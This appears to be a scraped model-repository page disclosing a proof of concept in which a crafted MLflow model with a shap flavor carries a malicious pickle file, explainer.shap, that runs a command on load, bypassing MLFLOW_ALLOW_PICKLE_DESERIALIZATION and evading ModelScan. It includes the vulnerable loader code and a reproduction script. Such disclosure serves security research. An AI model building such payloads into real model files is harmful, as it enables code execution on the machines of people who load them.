Views
No views yet
shap flavor.explainer.shap files,
which are internally pickle/cloudpickle binaries. When loading, _load_explainer()
calls shap.Explainer.load() — which internally calls pickle.load() — without
checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION, MLflow's security control against
arbitrary deserialization..shap extension is not recognized by ModelScan as a dangerous
format, providing a second layer of evasion.| File | Description |
|---|---|
MLmodel | Crafted MLflow model config — shap flavor, serialized_explainer: explainer.shap |
explainer.shap | Malicious payload — pickle protocol 4, executes id > /tmp/mlflow_shap_rce.txt |
conda.yaml | Standard conda environment spec |
python_env.yaml | Standard Python environment spec |
mlflow/shap/__init__.py lines 644–650
def _load_explainer(explainer_file, model=None):
import shap
with open(explainer_file, "rb") as explainer:
explainer = shap.Explainer.load(explainer) # ← pickle.load, NO protection check1import os, mlflow
2
3os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "false" # protection ON
4
5# Load model — triggers pickle.load on explainer.shap
6model = mlflow.pyfunc.load_model("path/to/this/repo")
7
8# Check RCE:
9with open("/tmp/mlflow_shap_rce.txt") as f:
10 print(f.read()) # uid=1000(user) gid=1000(user) ...MLFLOW_ALLOW_PICKLE_DESERIALIZATION=false.shap files